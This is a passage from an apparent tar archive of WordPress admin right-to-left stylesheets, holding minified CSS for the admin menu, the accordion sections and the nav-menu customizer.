.accordion-section-content,.no-js .accordion-section .accordion-section-content{display:block}.accordion-section.open:hover{border-bottom-color:#dcdcde}.accordion-section-content{display:none;padding:10px 20px 15px;overflow:hidden;background:#fff}.accordion-section-title{margin:0;position:relative;border-right:1px solid #dcdcde;border-left:1px solid #dcdcde;-webkit-user-select:none;user-select:none}.js .accordion-section-title{cursor:pointer}.js .accordion-section-title:after{position:absolute;top:12px;left:10px;z-index:1}.accordion-section-title:focus{outline:1px solid transparent}.accordion-section-title:focus:after,.accordion-section-title:hover:after{border-color:#a7aaad transparent;outline:1px solid transparent}.cannot-expand .accordion-section-title{cursor:auto}.cannot-expand .accordion-section-title:after{display:none}.control-section .accordion-section-title,.customize-pane-child .accordion-section-title{border-right:none;border-left:none;padding:10px 14px 11px 10px;line-height:1.55;background:#fff}.control-section .accordion-section-title:after,.customize-pane-child .accordion-section-title:after{top:calc(50% - 10px)}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{color:#1d2327;background:#f6f7f7}.control-section.open .accordion-section-title{border-bottom:1px solid #dcdcde}.network-admin .edit-site-actions{margin-top:0}.my-sites{display:block;overflow:auto;zoom:1}.my-sites li{display:block;padding:8px 3%;min-height:130px;margin:0}@media only screen and (max-width:599px){.my-sites li{min-height:0}}@media only screen and (min-width:600px){.my-sites.striped li{background-color:#fff;position:relative}.my-sites.striped li:after{content:"";width:1px;height:100%;position:absolute;top:0;left:0;background:#c3c4c7}}@media only screen and (min-width:600px) and (max-width:699px){.my-sites li{float:right;width:44%}.my-sites.striped li{background-color:#fff}.my-sites.striped li:nth-of-type(odd){clear:right}.my-sites.striped li:nth-of-type(2n+2):after{content:none}.my-sites li:nth-of-type(4n+1),.my-sites li:nth-of-type(4n+2){background-color:#f6f7f7}}@media only screen and (min-width:700px) and (max-width:1199px){.my-sites li{float:right;width:27.333333%;background-color:#fff}.my-sites.striped li:nth-of-type(3n+3):after{content:none}.my-sites li:nth-of-type(6n+1),.my-sites li:nth-of-type(6n+2),.my-sites li:nth-of-type(6n+3){background-color:#f6f7f7}}@media only screen and (min-width:1200px) and (max-width:1399px){.my-sites li{float:right;width:21%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(4n+1){clear:right}.my-sites.striped li:nth-of-type(4n+4):after{content:none}.my-sites li:nth-of-type(8n+1),.my-sites li:nth-of-type(8n+2),.my-sites li:nth-of-type(8n+3),.my-sites li:nth-of-type(8n+4){background-color:#f6f7f7}}@media only screen and (min-width:1400px) and (max-width:1599px){.my-sites li{float:right;width:16%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(5n+1){clear:right}.my-sites.striped li:nth-of-type(5n+5):after{content:none}.my-sites li:nth-of-type(10n+1),.my-sites li:nth-of-type(10n+2),.my-sites li:nth-of-type(10n+3),.my-sites li:nth-of-type(10n+4),.my-sites li:nth-of-type(10n+5){background-color:#f6f7f7}}@media only screen and (min-width:1600px){.my-sites li{float:right;width:12.666666%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(6n+1){clear:right}.my-sites.striped li:nth-of-type(6n+6):after{content:none}.my-sites li:nth-of-type(12n+1),.my-sites li:nth-of-type(12n+2),.my-sites li:nth-of-type(12n+3),.my-sites li:nth-of-type(12n+4),.my-sites li:nth-of-type(12n+5),.my-sites li:nth-of-type(12n+6){background-color:#f6f7f7}}.my-sites li a{text-decoration:none}@media print,(min-resolution:120dpi){div.star-holder,div.star-holder .star-rating{background:url(../images/stars-2x.png?ver=20121108) repeat-x bottom right;background-size:21px 37px}.spinner{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){html.wp-toolbar{padding-top:var(--wp-admin--admin-bar--height)}.screen-reader-shortcut:focus{top:-39px}.block-editor-page .screen-reader-shortcut:focus{top:7px}.screen-reader-shortcut[href="#wp-toolbar"]{display:none}body{min-width:240px;overflow-x:hidden}body *{-webkit-tap-highlight-color:transparent!important}#wpcontent{position:relative;margin-right:0;padding-right:10px}#wpbody-content{padding-bottom:100px}.wrap{clear:both;margin-left:12px;margin-right:0}#col-left,#col-right{float:none;width:auto}#col-left .col-wrap,#col-right .col-wrap{padding:0}#collapse-menu,.post-format-select{display:none!important}.wrap h1.wp-heading-inline{margin-bottom:.5em}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{padding:0 14px;font-size:14px;white-space:nowrap;min-height:40px;line-height:2.71428571;vertical-align:middle}.media-upload-form div.error,.notice,.wrap div.error,.wrap div.updated{margin:20px 0 10px;padding:5px 10px;font-size:14px;line-height:175%}.wp-core-ui .notice.is-dismissible{padding-left:46px}.notice-dismiss{padding:13px}.wrap .icon32+h2{margin-top:-2px}.wp-responsive-open #wpbody{left:-16em}code{word-wrap:break-word;word-wrap:anywhere;word-break:break-word}.postbox{font-size:14px}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2,.metabox-holder h3.hndle{padding:12px}.nav-menus-php .metabox-holder h3{padding:0}.postbox .handlediv{margin-top:3px}.subsubsub{font-size:16px;text-align:center;margin-bottom:15px}#template .CodeMirror,#template textarea{box-sizing:border-box}#templateside{float:none;width:auto}#templateside>ul{border-right:1px solid #dcdcde}#templateside li{margin:0}#templateside li:not(.howto) a{display:block;padding:5px}#templateside li.howto{padding:12px}#templateside .highlight{padding:5px;margin-right:-5px;margin-top:-5px}#template .notice,#template>div{float:none;margin:1em 0;width:auto}#template .CodeMirror,#template textarea{width:100%}#templateside ul ul{padding-right:1.5em}[role=treeitem] .folder-label{display:block;padding:5px}.tree-folder .tree-folder::after,.tree-folder>li::after,.tree-folder>li::before{right:-8px}.tree-folder>li::before{top:0;height:13px}.tree-folder>.current-file::before{right:-5px;top:7px;width:4px}.tree-folder>.current-file::after{height:9px;right:-8px}.wrap #templateside span.notice{margin-right:-5px;width:100%}.fileedit-sub .alignright{float:right;margin-top:15px;width:100%;text-align:right}.fileedit-sub .alignright label{display:block}.fileedit-sub #plugin,.fileedit-sub #theme{margin-right:0;max-width:70%}.fileedit-sub input[type=submit]{margin-bottom:0}#documentation label[for=docs-list]{display:block}#documentation select[name=docs-list]{margin-right:0;max-width:60%}#documentation input[type=button]{margin-bottom:0}#wpfooter{display:none}#comments-form .checkforspam{display:none}.edit-comment-author{margin:2px 0 0}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:2.1}.filter-drawer .filter-group-feature label{margin-right:32px}.wp-filter .button.drawer-toggle{font-size:13px;line-height:2;height:28px}#screen-meta #contextual-help-wrap{overflow:visible}#screen-meta #contextual-help-back,#screen-meta .contextual-help-sidebar{display:none}#screen-meta .contextual-help-tabs{clear:both;width:100%;float:none}#screen-meta .contextual-help-tabs ul{margin:0 0 1em;padding:1em 0 0}#screen-meta .contextual-help-tabs .active{margin:0}#screen-meta .contextual-help-tabs-wrap{clear:both;max-width:100%;float:none}#screen-meta,#screen-meta-links{margin-left:10px}#screen-meta-links{margin-bottom:20px}#screen-meta-links .show-settings:after{line-height:1.9}.wp-filter .search-form input[type=search]{font-size:1rem}.wp-filter .search-form.search-plugins{min-width:100%}}@media screen and (max-width:600px){#wpwrap.wp-responsive-open{overflow-x:hidden}html.wp-toolbar{padding-top:0}.screen-reader-shortcut:focus{top:7px}#wpbody{padding-top:46px}div#post-body.metabox-holder.columns-1{overflow-x:hidden}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:0}h1 .nav-tab,h2 .nav-tab,h3 .nav-tab,nav .nav-tab{margin:10px 0 0 10px;border-bottom:1px solid #c3c4c7}.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #c3c4c7}.wp-filter .search-form.search-plugins label{width:100%}}@media screen and (max-width:480px){.metabox-prefs-container{display:grid}.metabox-prefs-container>*{display:inline-block;padding:2px}}@media screen and (max-width:320px){#network_dashboard_right_now .subsubsub{font-size:14px;text-align:right}} css/admin-menu-rtl.min.css 0000644 00000035475 15233246127 0011504 0 ustar 00 /*! This file is auto-generated */ #adminmenu,#adminmenu .wp-submenu,#adminmenuback,#adminmenuwrap{width:160px;background-color:#1d2327}#adminmenuback{position:fixed;top:0;bottom:-120px;z-index:1;outline:1px solid transparent}.php-error #adminmenuback{position:absolute}.php-error #adminmenuback,.php-error #adminmenuwrap{margin-top:2em}#adminmenu{clear:right;margin:12px 0;padding:0;list-style:none}.folded #adminmenu,.folded #adminmenu li.menu-top,.folded #adminmenuback,.folded #adminmenuwrap{width:36px}.menu-icon-appearance div.wp-menu-image,.menu-icon-comments div.wp-menu-image,.menu-icon-dashboard div.wp-menu-image,.menu-icon-generic div.wp-menu-image,.menu-icon-links div.wp-menu-image,.menu-icon-media div.wp-menu-image,.menu-icon-page div.wp-menu-image,.menu-icon-plugins div.wp-menu-image,.menu-icon-post div.wp-menu-image,.menu-icon-settings div.wp-menu-image,.menu-icon-site div.wp-menu-image,.menu-icon-tools div.wp-menu-image,.menu-icon-users div.wp-menu-image{background-image:none!important}#adminmenuwrap{position:relative;float:right;z-index:9990}#adminmenu *{-webkit-user-select:none;user-select:none}#adminmenu li{margin:0;padding:0}#adminmenu a{display:block;line-height:1.3;padding:2px 5px;color:#f0f0f1}#adminmenu .wp-submenu a{color:#c3c4c7;color:rgba(240,246,252,.7);font-size:13px;line-height:1.4;margin:0;padding:5px 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover{background:0 0}#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a:hover,#adminmenu li.menu-top>a:focus{color:#72aee6}#adminmenu a:focus,#adminmenu a:hover,.folded #adminmenu .wp-submenu-head:hover{box-shadow:inset -4px 0 0 0 currentColor;transition:box-shadow .1s linear;border-radius:0}#adminmenu li.menu-top{border:none;min-height:34px;position:relative}#adminmenu .wp-submenu{list-style:none;position:absolute;top:-1000em;right:160px;overflow:visible;word-wrap:break-word;padding:6px 0;z-index:9999;background-color:#2c3338;box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu a.menu-top:focus+.wp-submenu,.js #adminmenu .opensub .wp-submenu,.js #adminmenu .sub-open,.no-js li.wp-has-submenu:hover .wp-submenu{top:-1px}#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{top:0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,.no-js li.wp-has-current-submenu:hover .wp-submenu{position:relative;z-index:3;top:auto;right:auto;left:auto;bottom:auto;border:0 none;margin-top:0;box-shadow:none}.folded #adminmenu .wp-has-current-submenu .wp-submenu{box-shadow:0 3px 5px rgba(0,0,0,.2)}#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{position:relative;background-color:#1d2327;color:#72aee6}.folded #adminmenu li.menu-top:hover,.folded #adminmenu li.opensub>a.menu-top,.folded #adminmenu li>a.menu-top:focus{z-index:10000}#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu{background:#2271b1;color:#fff}.folded #adminmenu .opensub .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.folded #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.folded #adminmenu .wp-submenu.sub-open,.folded #adminmenu a.menu-top:focus+.wp-submenu,.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu{top:0;right:36px}.folded #adminmenu .wp-has-current-submenu .wp-submenu,.folded #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em}#adminmenu .wp-not-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{min-width:160px;width:auto;border:1px solid transparent;border-right-width:5px}#adminmenu .opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-not-current-submenu li>a,.folded #adminmenu .wp-has-current-submenu li>a{padding-left:16px;padding-right:14px;transition:all .1s ease-in-out,outline 0s}#adminmenu .wp-has-current-submenu ul>li>a,.folded #adminmenu li.menu-top .wp-submenu>li>a{padding:5px 12px}#adminmenu .wp-submenu-head,#adminmenu a.menu-top{font-size:14px;font-weight:400;line-height:1.3;padding:0}#adminmenu .wp-submenu-head{display:none}.folded #adminmenu .wp-menu-name{position:absolute;right:-999px}.folded #adminmenu .wp-submenu-head{display:block}#adminmenu .wp-submenu li{padding:0;margin:0}#adminmenu .wp-menu-image img{padding:9px 0 0;opacity:.6}#adminmenu div.wp-menu-name{padding:8px 36px 8px 8px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;hyphens:auto}#adminmenu div.wp-menu-image{float:right;width:36px;height:34px;margin:0;text-align:center}#adminmenu div.wp-menu-image.svg{background-repeat:no-repeat;background-position:center;background-size:20px auto}div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6);padding:7px 0;transition:all .1s ease-in-out}#adminmenu div.wp-menu-image:before{color:#a7aaad;color:rgba(240,246,252,.6)}#adminmenu .current div.wp-menu-image:before,#adminmenu .wp-has-current-submenu div.wp-menu-image:before,#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before{color:#fff}#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#72aee6}.folded #adminmenu div.wp-menu-image{width:35px;height:30px;position:absolute;z-index:25}.folded #adminmenu a.menu-top{height:34px}.sticky-menu #adminmenuwrap{position:fixed}ul#adminmenu a.wp-has-current-submenu{position:relative}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{left:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-left-color:#f0f0f1;top:50%;margin-top:-8px}.folded ul#adminmenu li.wp-has-current-submenu:focus-within a.wp-has-current-submenu:after,.folded ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.folded ul#adminmenu a.wp-has-current-submenu:after,.folded ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{left:0;border:8px solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;top:10px;z-index:10000}.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:18px}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#2c3338}#adminmenu li.menu-top:hover .wp-menu-image img,#adminmenu li.wp-has-current-submenu .wp-menu-image img{opacity:1}#adminmenu li.wp-menu-separator{height:5px;padding:0;margin:0 0 6px;cursor:inherit}#adminmenu div.separator{height:2px;padding:0}#adminmenu .wp-submenu .wp-submenu-head{color:#fff;font-weight:400;font-size:14px;padding:5px 11px 5px 4px;margin:-8px -5px 4px -1px;border-width:3px 5px 3px 1px;border-style:solid;border-color:transparent}#adminmenu li.current,.folded #adminmenu li.wp-menu-open{border:0 none}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{display:inline-block;vertical-align:top;box-sizing:border-box;margin:1px 2px -1px 0;padding:0 5px;min-width:18px;height:18px;border-radius:9px;background-color:#d63638;color:#fff;font-size:11px;line-height:1.6;text-align:center;z-index:26}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod{background-color:#d63638;color:#fff}#adminmenu li span.count-0{display:none}#collapse-button{display:block;width:100%;height:34px;margin:0;border:none;padding:0;position:relative;overflow:visible;background:0 0;color:#a7aaad;cursor:pointer}#collapse-button:hover{color:#72aee6}#collapse-button:focus{color:#72aee6;outline:1px solid transparent;outline-offset:-1px}#collapse-button .collapse-button-icon,#collapse-button .collapse-button-label{display:block;position:absolute;top:0;right:0}#collapse-button .collapse-button-label{top:8px}#collapse-button .collapse-button-icon{width:36px;height:34px}#collapse-button .collapse-button-label{padding:0 36px 0 0}.folded #collapse-button .collapse-button-label{display:none}#collapse-button .collapse-button-icon:after{content:"\f148";content:"\f148"/'';display:block;position:relative;top:7px;text-align:center;font:normal 20px/1 dashicons!important;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.folded #collapse-button .collapse-button-icon:after,.rtl #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.folded #collapse-button .collapse-button-icon:after{transform:none}#collapse-button .collapse-button-icon:after,#collapse-button .collapse-button-label{transition:all .1s ease-in-out}li#wp-admin-bar-menu-toggle{display:none}.customize-support #menu-appearance a[href="themes.php?page=custom-background"],.customize-support #menu-appearance a[href="themes.php?page=custom-header"]{display:none}@media only screen and (max-width:960px){.auto-fold #wpcontent,.auto-fold #wpfooter{margin-right:36px}.auto-fold #adminmenu,.auto-fold #adminmenu li.menu-top,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{width:36px}.auto-fold #adminmenu .opensub .wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.auto-fold #adminmenu .wp-submenu.sub-open,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{top:0;right:36px}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu,.auto-fold #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em;margin-left:-1px;padding:6px 0;z-index:9999}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu{min-width:160px;width:auto;border:1px solid transparent;border-right-width:5px}.auto-fold #adminmenu .wp-has-current-submenu li>a{padding-left:16px;padding-right:14px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding-right:12px}.auto-fold #adminmenu .wp-menu-name{position:absolute;right:-999px}.auto-fold #adminmenu .wp-submenu-head{display:block}.auto-fold #adminmenu div.wp-menu-image{height:30px;width:34px;position:absolute;z-index:25}.auto-fold #adminmenu a.menu-top{min-height:34px}.auto-fold #adminmenu li.wp-menu-open{border:0 none}.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last{margin-bottom:0}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:16px}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}.auto-fold #adminmenu li.menu-top:hover,.auto-fold #adminmenu li.opensub>a.menu-top,.auto-fold #adminmenu li>a.menu-top:focus{z-index:10000}.auto-fold #collapse-menu .collapse-button-label{display:none}.auto-fold #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.auto-fold #collapse-button .collapse-button-icon:after{transform:none}}@media screen and (max-width:782px){.auto-fold #wpcontent{position:relative;margin-right:0;padding-right:10px}.sticky-menu #adminmenuwrap{position:relative;z-index:auto;top:0}.auto-fold #adminmenu,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{position:absolute;width:190px;z-index:100}.auto-fold #adminmenuback{position:fixed}.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{display:none}.auto-fold .wp-responsive-open #adminmenuback,.auto-fold .wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu li.menu-top{width:100%}.auto-fold #adminmenu li a{font-size:16px;padding:5px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding:10px 20px 10px 10px}.auto-fold #adminmenu .wp-menu-name{position:static}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li.current>a.current:after{border-width:8px;margin-top:-8px}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{display:none}#adminmenu .wp-submenu{position:relative;display:none}.auto-fold #adminmenu .selected .wp-submenu,.auto-fold #adminmenu .wp-menu-open .wp-submenu{position:relative;display:block;top:0;right:-1px;box-shadow:none}.auto-fold #adminmenu .selected .wp-submenu:after,.auto-fold #adminmenu .wp-menu-open .wp-submenu:after{display:none}.auto-fold #adminmenu .opensub .wp-submenu{display:none}.auto-fold #adminmenu .selected .wp-submenu{display:block}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:block}.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{position:relative;right:-1px;left:0;top:0}#adminmenu .wp-not-current-submenu .wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{border:none}#adminmenu .wp-submenu .wp-submenu-head{display:none}#wp-responsive-toggle{position:fixed;top:5px;right:4px;padding-left:10px;z-index:99999;border:none;box-sizing:border-box}#wpadminbar #wp-admin-bar-menu-toggle a{display:block;padding:0;overflow:hidden;outline:0;text-decoration:none;border:1px solid transparent;background:0 0;height:44px;margin-right:-1px}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#2c3338}li#wp-admin-bar-menu-toggle{display:block}#wpadminbar #wp-admin-bar-menu-toggle a:hover{border:1px solid transparent}#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{content:"\f228";display:inline-block;float:right;font:normal 40px/45px dashicons;vertical-align:middle;outline:0;margin:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;height:44px;width:50px;padding:0;border:none;text-align:center;text-decoration:none;box-sizing:border-box}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#72aee6}}@media screen and (max-width:600px){#adminmenuback,#adminmenuwrap{display:none}.wp-responsive-open #adminmenuback,.wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu{top:46px}} css/customize-nav-menus-rtl.min.css 0000644 00000044136 15233246127 0013375 0 ustar 00 /*! This file is auto-generated */ #customize-theme-controls #accordion-section-menu_locations{position:relative;margin-top:30px}#customize-theme-controls #accordion-section-menu_locations>.accordion-section-title{border-bottom-color:#dcdcde;margin-top:15px}#customize-theme-controls .customize-section-title-menu_locations-description,#customize-theme-controls .customize-section-title-menu_locations-heading,#customize-theme-controls .customize-section-title-nav_menus-heading{padding:0 12px}#customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description{font-style:normal}.menu-in-location,.menu-in-locations{display:block;font-weight:600;font-size:10px}#customize-controls .control-section .accordion-section-title:focus .menu-in-location,#customize-controls .control-section .accordion-section-title:hover .menu-in-location,#customize-controls .theme-location-set{color:#50575e}.customize-control-nav_menu_location .create-menu,.customize-control-nav_menu_location .edit-menu{margin-right:6px;vertical-align:middle;line-height:2.2}#customize-controls .customize-control-nav_menu_name{margin-bottom:12px}.customize-control-nav_menu_name p:last-of-type{margin-bottom:0}#customize-new-menu-submit{float:left;min-width:85px}.wp-customizer .menu-item-bar .menu-item-handle,.wp-customizer .menu-item-settings,.wp-customizer .menu-item-settings .description-thin{box-sizing:border-box}.wp-customizer .menu-item-bar{margin:0}.wp-customizer .menu-item-bar .menu-item-handle{width:100%;max-width:100%;background:#fff}.wp-customizer .menu-item-handle .item-title{margin-left:0}.wp-customizer .menu-item-handle .item-type{padding:1px 5px 0 21px;float:left;text-align:left}.wp-customizer .menu-item-handle:hover{z-index:8}.customize-control-nav_menu_item.has-notifications .menu-item-handle{border-right:4px solid #72aee6}.wp-customizer .menu-item-settings{max-width:100%;overflow:hidden;z-index:8;padding:10px;background:#f0f0f1;border:1px solid #8c8f94;border-top:none}.wp-customizer .menu-item-settings .description-thin{width:100%;height:auto;margin:0 0 8px}.wp-customizer .menu-item-settings input[type=text]{width:100%}.wp-customizer .menu-item-settings .submitbox{margin:0;padding:0}.wp-customizer .menu-item-settings .link-to-original{padding:5px 0;border:none;font-style:normal;margin:0;width:100%}.wp-customizer .menu-item .submitbox .submitdelete{float:right;margin:6px 0 0;padding:0;cursor:pointer}.menu-item-reorder-nav{display:none;background-color:#fff;position:absolute;top:0;left:0}.menus-move-left:before{content:"\f345";content:"\f341"/''}.menus-move-right:before{content:"\f341";content:"\f345"/''}.reordering .menu-item .item-controls,.reordering .menu-item .item-type{display:none}.reordering .menu-item-reorder-nav{display:block}.customize-control input.menu-name-field{width:100%}.wp-customizer .menu-item .item-edit{position:absolute;left:-19px;top:2px;display:block;width:30px;height:38px;margin-left:0!important;box-shadow:none;outline:0;overflow:hidden;cursor:pointer;text-align:center}.wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before{content:"\f142";content:"\f142"/''}.wp-customizer .menu-item-settings p.description{font-style:normal}.wp-customizer .menu-settings dl{margin:12px 0 0;padding:0}.wp-customizer .menu-settings .checkbox-input{margin-top:8px}.wp-customizer .menu-settings .menu-theme-locations{border-top:1px solid #c3c4c7}.wp-customizer .menu-settings{margin-top:36px;border-top:none}.wp-customizer .menu-location-settings{margin-top:12px;border-top:none}.wp-customizer .control-section-nav_menu .menu-location-settings{margin-top:24px;border-top:1px solid #dcdcde}.customize-control-nav_menu_auto_add,.wp-customizer .control-section-nav_menu .menu-location-settings{padding-top:12px}.menu-location-settings .customize-control-checkbox .theme-location-set{line-height:1}.customize-control-nav_menu_auto_add label{vertical-align:top}.menu-location-settings .new-menu-locations-widget-note{display:block}.customize-control-menu{margin-top:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle{color:#50575e}.customize-screen-options-toggle{background:0 0;border:none;color:#50575e;cursor:pointer;margin:0;padding:20px;position:absolute;left:0;top:30px}#customize-controls .customize-info .customize-help-toggle{padding:20px}#customize-controls .customize-info .customize-help-toggle:before{padding:4px}#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.active-menu-screen-options .customize-screen-options-toggle,.customize-screen-options-toggle:active,.customize-screen-options-toggle:focus,.customize-screen-options-toggle:hover{color:var(--wp-admin-theme-color)}#customize-controls .customize-info .customize-help-toggle:focus,.customize-screen-options-toggle:focus{outline:2px solid transparent}.customize-screen-options-toggle:before{-moz-osx-font-smoothing:grayscale;border:none;content:"\f111";content:"\f111"/'';display:block;font:18px/1 dashicons;padding:5px;text-align:center;text-decoration:none!important;text-indent:0;right:6px;position:absolute;top:6px}#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before{border-radius:100%}.wp-customizer #screen-options-wrap{display:none;background:#fff;border-top:1px solid #dcdcde;padding:4px 15px 15px}.wp-customizer .metabox-prefs label{display:block;padding-left:0;line-height:30px}.wp-customizer .toggle-indicator{display:inline-block;font-size:20px;line-height:1}.rtl .wp-customizer .toggle-indicator{text-indent:1px}#available-menu-items .accordion-section-title .toggle-indicator:before,.wp-customizer .menu-item .item-edit .toggle-indicator:before{content:"\f140";content:"\f140"/'';display:block;padding:1px 0 1px 2px;border-radius:50%;color:#787c82;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important}.control-section-nav_menu .field-css-classes,.control-section-nav_menu .field-description,.control-section-nav_menu .field-link-target,.control-section-nav_menu .field-title-attribute,.control-section-nav_menu .field-xfn{display:none}.control-section-nav_menu.field-css-classes-active .field-css-classes,.control-section-nav_menu.field-description-active .field-description,.control-section-nav_menu.field-link-target-active .field-link-target,.control-section-nav_menu.field-title-attribute-active .field-title-attribute,.control-section-nav_menu.field-xfn-active .field-xfn{display:block}.menu-item-depth-0{margin-right:0}.menu-item-depth-1{margin-right:20px}.menu-item-depth-2{margin-right:40px}.menu-item-depth-3{margin-right:60px}.menu-item-depth-4{margin-right:80px}.menu-item-depth-5{margin-right:100px}.menu-item-depth-6{margin-right:120px}.menu-item-depth-7{margin-right:140px}.menu-item-depth-8{margin-right:160px}.menu-item-depth-9{margin-right:180px}.menu-item-depth-10{margin-right:200px}.menu-item-depth-11{margin-right:220px}.menu-item-depth-0>.menu-item-bar{margin-left:0}.menu-item-depth-1>.menu-item-bar{margin-left:20px}.menu-item-depth-2>.menu-item-bar{margin-left:40px}.menu-item-depth-3>.menu-item-bar{margin-left:60px}.menu-item-depth-4>.menu-item-bar{margin-left:80px}.menu-item-depth-5>.menu-item-bar{margin-left:100px}.menu-item-depth-6>.menu-item-bar{margin-left:120px}.menu-item-depth-7>.menu-item-bar{margin-left:140px}.menu-item-depth-8>.menu-item-bar{margin-left:160px}.menu-item-depth-9>.menu-item-bar{margin-left:180px}.menu-item-depth-10>.menu-